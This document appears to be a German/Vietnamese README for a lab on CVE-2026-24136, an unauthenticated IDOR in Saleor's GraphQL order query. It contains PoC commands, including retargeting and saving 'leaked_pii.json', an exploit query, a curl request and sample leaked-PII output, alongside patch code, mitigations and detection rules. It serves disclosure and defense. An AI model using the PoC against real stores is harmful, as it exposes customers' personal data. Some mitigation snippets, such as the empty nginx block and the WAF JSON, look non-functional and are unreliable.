
CVE-2026-24136 | Lab zur Ausnutzung der IDOR-Schwachstelle in Saleor GraphQL – die query order() prüft die Authentifizierung nicht und legt sämtliche PII (E-Mail, Adresse, Telefonnummer) von Kunden offen. Enthält Docker-Umgebung, Seed-Daten-Skript und PoC. CVSS 4.0: 8.7 HOCH.
| Feld | Detail |
|---|
| CVE ID | CVE-2026-24136 |
| Art der Schwachstelle | IDOR - Authorization Bypass Through User-Controlled Key (CWE-639) |
| Software | Saleor E-Commerce-Plattform |
| Betroffene Versionen | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| Gepatchte Versionen | 3.20.110 · 3.21.45 · 3.22.29 |
| CVSS 3.1 | 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS 4.0 | 8.7 HIGH |
| Auswirkung | Nicht authentifizierter Akteur kann PII (Name, Adresse, Telefonnummer, E-Mail) jeder Bestellung auslesen |
| Authentifizierung erforderlich? | Nein |
Saleor stellt eine GraphQL-API zur Verwaltung von E-Commerce-Bestellungen bereit. Die Abfrage order(id: $id) ermöglicht das Abrufen von Details einer Bestellung anhand der globalen ID. In den betroffenen Versionen wird nicht überprüft, ob der Aufrufer berechtigt ist, diese Bestellung einzusehen.
Jeder, auch völlig anonyme Benutzer ohne Konto, kann diese Abfrage aufrufen und die vollständigen PII des Kunden erhalten: E-Mail, Name, Lieferadresse, Telefonnummer, Anmeldeverlauf.
cve-2026-24136-lab/
├── docker-compose.yml # Môi trường lab (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # Script khởi động tự động (Windows PowerShell)
├── setup_lab.sh # Script khởi động tự động (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # Startup wrapper: patch wsgi bug + gunicorn
├── seed_data.py # Tạo victim accounts + orders có PII
└── poc_cve_2026_24136.py # PoC khai thác
pip install requests# Cấp quyền thực thi nếu cần
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# Chạy setup tự động
.\setup_lab.ps1
chmod +x setup_lab.sh
./setup_lab.sh
# 1. Khởi động containers
docker compose up -d
# 2. Chờ API sẵn sàng (~60-90 giây)
# Kiểm tra: curl http://localhost:8000/health/
# 3. Tạo admin account
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='[email protected]').exists() or \
U.objects.create_superuser('[email protected]', 'admin')"
# 4. Populate products/channels
docker exec cve_saleor_api python manage.py populatedb
# 5. Tạo victim data (accounts + orders với PII)
cd scripts
pip install requests
python seed_data.py
Endpoints nach dem Start:
| Service | URL |
|---|---|
| Saleor GraphQL API | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| Saleor Dashboard | http://localhost:9000 |
| Admin | [email protected] / admin |
cd scripts
# Xem giải thích kỹ thuật
python poc_cve_2026_24136.py explain
# Khai thác từ danh sách đã seed (KHUYẾN NGHỊ - Saleor 3.x dùng UUID IDs)
python poc_cve_2026_24136.py file order_ids.json
# Khai thác 1 order bằng base64 global ID trực tiếp
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# Enumerate sequential (chỉ hoạt động với Saleor < 3.x dùng integer IDs)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# Đổi target API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# Lưu kết quả ra JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...
[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [LEAKED] ORDER #41 -- DRAFT ║
╠──────────────────────────────────────────────────────────────╣
║ Email : [email protected] ║
╠──────────────────────────────────────────────────────────────╣
║ Billing Address : Nguyen Van A ║
║ Street : 123 Le Loi Street ║
║ City/Post : HO CHI MINH CITY 700000 ║
║ Country : Vietnam ║
║ Phone : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] Successfully leaked 6/6 orders
Saleor verwendet die „Global Object Identification" gemäß der Relay GraphQL-Spezifikation. Jedes Objekt wird durch eine globale ID identifiziert, die wie folgt aufgebaut ist:
base64("<TypeName>:<internal_id>")
Bei Bestellungen in Saleor 3.x:
# internal_id là UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
Hinweis: Saleor 2.x verwendete sequenzielle Integer-IDs (
Order:1,Order:2, ...), was die Enumeration erleichtert.
Saleor 3.x ist auf UUID umgestiegen, daher muss ein Angreifer die UUID auf andere Weise erhalten (Bestellbestätigungs-E-Mail, URL-Leak usw.).
Datei: saleor/graphql/order/resolvers.py
# PHIÊN BẢN BỊ LỖI (trước khi patch)
def resolve_order(root, info, id):
"""Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session
Datei: saleor/graphql/order/schema.py
# Query definition, không khai báo permissions
class OrderQueries:
order = graphene.Field(
Order,
description="Look up an order by ID.",
id=graphene.Argument(graphene.ID, description="ID of the order."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# Không có @permission_required, không có guard nào
Die gesendete Abfrage enthält keinen Authorization-Header:
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
# Gửi bằng curl, không cần token
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# Response (không cần auth):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}
Attacker (anonymous) Saleor GraphQL API
| |
|── POST /graphql/ ─────────────────────>|
| Content-Type: application/json |
| (NO Authorization header) |
| {"query":"query { |
| order(id: \"T3JkZXI6...\") { |
| userEmail |
| billingAddress { phone } |
| } |
| }"} |
| |
|<── HTTP 200 OK ─────────────────────── |
| {"data": {"order": { |
| "userEmail": "[email protected]", |
| "billingAddress": { |
| "phone": "+84901234567" |
| } |
| }}} |
| |
Datei: saleor/graphql/order/resolvers.py
# PHIÊN BẢN ĐÃ PATCH (>= 3.20.110)
def resolve_order(root, info, id):
"""Resolve order by ID với authorization check đầy đủ."""
_, pk = from_global_id_or_error(id, Order)
order = qs.filter(pk=pk).first()
# Guard 1: Staff và App có thể xem mọi order
if requestor_is_staff_member_or_app(info.context.user, info.context.app):
return order
# Guard 2: Unauthenticated user → trả về None (không báo lỗi để tránh leak existence)
if not info.context.user or not info.context.user.is_authenticated:
return None
# Guard 3: Authenticated user chỉ được xem order của chính mình
if order and order.user_id != info.context.user.pk:
raise PermissionDenied(
"You don't have permission to access this order."
)
return order
Datei: saleor/graphql/order/schema.py
# Thêm annotation để document permission requirement
class OrderQueries:
order = graphene.Field(
Order,
description=(
"Look up an order by ID. "
"Requires authentication. Staff users can access all orders. "
"Regular users can only access their own orders."
),
id=graphene.Argument(graphene.ID, required=True),
)
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Không có Authorization header)
─────────────────────────────────────────────
TRƯỚC PATCH (≤ 3.20.109):
HTTP 200 OK
{"data": {"order": {"userEmail": "[email protected]"}}}
→ PII bị lộ
─────────────────────────────────────────────
SAU PATCH (≥ 3.20.110):
HTTP 200 OK
{"data": {"order": null}}
→ Trả null, không có lỗi (intentional – không để attacker
biết order có tồn tại hay không)
─────────────────────────────────────────────
null statt eines Fehlers zurück?Die Rückgabe von null anstelle von PermissionDenied für nicht authentifizierte Anfragen ist eine bewusste Designentscheidung:
PermissionDenied wüsste der Angreifer, dass die Bestellung existiert (Existenz-Orakel)null kann der Angreifer nicht unterscheiden zwischen „keine Berechtigung" und „nicht vorhanden"Dies ist eine timing-sichere Existenzprüfung auf GraphQL-Ebene.
raise PermissionDenied?Bei angemeldeten Benutzern ist eine explizite Fehlermeldung zum Debuggen sinnvoll. Das Existenz-Orakel ist hier kein Problem, weil:
Integer IDs (Saleor 2.x):
Order:1, Order:2, ..., Order:N
→ O(N) Anfragen nötig, um N Bestellungen zu enumerieren
→ Angreifer kann Gesamtzahl der Bestellungen ermitteln (via binäre Suche)
UUID IDs (Saleor 3.x):
Order:460d1e27-2b0b-4897-84c9-64b524b08d64
→ Suchraum: 2^122 (UUID v4 hat 122 zufällige Bits)
→ Brute-Force praktisch unmöglich
→ Die ID kann jedoch über Bestellbestätigungs-E-Mails, URLs im Dashboard,
API-Antworten, Logs preisgegeben werden → hat der Angreifer eine ID, ist
der Exploit trotzdem möglich
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AV:N – Angriffsvektor: Netzwerk (Exploit über Internet)
AC:L – Angriffskomplexität: Niedrig (keine besonderen Bedingungen)
PR:N – Erforderliche Berechtigungen: Keine (kein Konto nötig)
UI:N – Benutzerinteraktion: Keine (kein Opfer-Eingriff)
S:U – Auswirkungsbereich: Unverändert (nur Saleor-API betroffen)
C:H – Vertraulichkeit: Hoch (vollständige PII offengelegt)
I:N – Integrität: Keine (Daten können nicht geändert werden)
A:N – Verfügbarkeit: Keine (kein DoS)
# Kiểm tra phiên bản hiện tại
pip show saleor | grep Version
# Nâng cấp lên phiên bản đã vá
pip install "saleor>=3.20.110" # nếu đang dùng dòng 3.20.x
pip install "saleor>=3.21.45" # nếu đang dùng dòng 3.21.x
pip install "saleor>=3.22.29" # nếu đang dùng dòng 3.22.x
Anonyme Benutzer daran hindern, die order()-Abfrage aufzurufen:
# Nginx – block GraphQL order query từ unauthenticated requests
location /graphql/ {
# Nếu không có Authorization header và body chứa "order("
if ($http_authorization = "") {
# Chặn các query có dấu hiệu khai thác
# Lưu ý: đây chỉ là giải pháp tạm, không thay thế patch
}
proxy_pass http://saleor_api;
}
Mit AWS WAF / CloudFront:
{
"Name": "BlockAnonymousOrderQuery",
"Priority": 1,
"Action": {"Block": {}},
"Statement": {
"AndStatement": {
"Statements": [
{
"ByteMatchStatement": {
"SearchString": "\"order\"",
"FieldToMatch": {"Body": {}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "CONTAINS"
}
},
{
"ByteMatchStatement": {
"SearchString": "Authorization",
"FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "EXACTLY",
"NegatedStatement": true
}
}
]
}
}
}
# Giới hạn requests từ 1 IP không có auth
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;
location /graphql/ {
limit_req zone=graphql_anon burst=5 nodelay;
proxy_pass http://saleor_api;
}
Anzeichen für Exploitation in Access-Logs:
# Phát hiện: 1 IP gửi nhiều GraphQL requests không có Authorization
grep 'POST /graphql/' access.log \
| awk '$9 == 200 && !/Authorization/' \
| awk '{print $1}' \
| sort | uniq -c | sort -rn \
| awk '$1 > 20' # Alert nếu > 20 requests từ 1 IP
# Phát hiện pattern "order" trong request body không có auth
# (cần JSON body logging)
Alert-Regel für Grafana / Datadog:
alert: SaleorAnonOrderQuery
expr: |
rate(nginx_http_requests_total{
path="/graphql/",
method="POST",
has_auth_header="false"
}[5m]) > 5
severity: warning
annotations:
summary: "Potential CVE-2026-24136 exploitation attempt"
description: "High rate of unauthenticated GraphQL POST requests"
# Dừng và xóa containers + volumes (xóa toàn bộ data)
docker compose down -v
# Chỉ dừng containers (giữ data)
docker compose stop
Warnung: Dieses Labor dient ausschließlich Forschungs-, Lern- und Sicherheitsberichtszwecken.
Verwenden Sie den PoC nicht auf realen Systemen ohne schriftliche Genehmigung.